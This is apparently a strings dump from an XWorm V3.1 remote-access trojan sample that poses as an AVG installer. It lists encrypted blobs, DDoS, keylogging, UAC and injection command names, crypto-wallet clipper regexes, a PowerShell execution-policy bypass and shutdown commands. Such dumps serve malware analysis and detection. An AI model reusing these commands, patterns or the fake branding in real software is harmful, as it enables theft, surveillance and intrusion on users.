Y8ZGrEW6sXmPX9zPA3UlsvauvXpQnDNt7Dtd8U8daHXMInUR9VYLFoa8r318tmfJ
6HIeuwQ11yBQFMPW7DMWwA==
7m+8TtTi3z1PCpynmj3j/md22zEqNg656mhomuSfZbGXa6GzXUK9x+dFLikyVyKJ
uWGkNVdx5y84VGX1tC1IDQ==
UPNWHN2+20tHUDgblJZvhx9EQBZAdTT4CJv9Lh/Zp6w=
+YF5p51RwtuO++6qMFPCPQNEtrsMwtCLFDOB3vXlzaiizwM18DEUQ9jIKnMJIozq
48fkb80LkBOTUkHbAzYYuA==
\Log.tmp
xIJpSbe3vdGqt3DM
Ky7zI7JN7JpfDjD5wbdirQ==
XWorm V3.1
Microsoft
Service Pack
dd/MM/yyy
\root\SecurityCenter2
Select * from AntivirusProduct
displayName
uninstall
StartDDos
OfflineGet
MessageBox
StopDDos
shutdown.exe /f /r /t 0
PCShutdown
Urlhide
Urlopen
shutdown.exe -L
PCLogoff
shutdown.exe /f /s /t 0
StopReport
sendPlugin
PCRestart
savePlugin
StartReport
update
plugin
Invoke
ngrok+
RunRecovery
injRun
UACFunc
RunOptions
Recovery
Plugin
Plugin Error!
ToLower
Open [
-ExecutionPolicy Bypass -File "
powershell.exe
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
User-Agent:
POST / HTTP/1.1
Host:
Content-length: 5235
@echo off
timeout 3 > NUL
" /f /q
[Back]
[CTRL]
ToUpper
LShiftKey
Return
[Shift]
[CAPSLOCK: ON]
[SPACE]
[ENTER]
LControlKey
RShiftKey
Capital
RControlKey
Escape
[CAPSLOCK: OFF]
ProcessName
MainWindowTitle
T[A-Za-z1-9]{33}
\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,45}\b
\b(0x)[a-zA-HJ-NP-Z0-9]{40,45}\b
BTC Clipper
ETH Clipper
TRC20 Clipper
ExStyle
Software\
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
abcdefghijklmnopqrstuvwxyz
Err HWID
ToArray
System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Security.Cryptography.AesCryptoServiceProvider
m6TynPZwHTrRcKl6ey.3uBcCd7BG7MIMWIIYW
{11111-22222-10009-11111}
{11111-22222-10009-11112}
{11111-22222-50001-00000}
GetDelegateForFunctionPointer
file:///
Location
ResourceA
Virtual
Write
Process
Memory
Protect
Process
Close
Handle
kernel
32.dll
{11111-22222-10001-00001}
{11111-22222-10001-00002}
{11111-22222-20001-00001}
{11111-22222-20001-00002}
{11111-22222-30001-00001}
{11111-22222-30001-00002}
{11111-22222-40001-00001}
{11111-22222-40001-00002}
{11111-22222-50001-00001}
{11111-22222-50001-00002}
$this.SnapToGrid
$this.TrayLargeIcon
$this.Icon
$this.Locked
$this.DrawGrid
progressBar1.Modifiers
$this.Localizable
$this.Language
$this.GridSize
$this.TrayHeight
progressBar1.Locked
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
CompanyName
AVG Technologies CZ, s.r.o.
FileDescription
AVG Installer
FileVersion
2.1.92.0
InternalName
5000.exe
LegalCopyright
Copyright (C) 2023 AVG Technologies CZ, s.r.o.
OriginalFilename
5000.exe
ProductName
ProductVersion
2.1.92.0
Assembly Version
2.1.92.0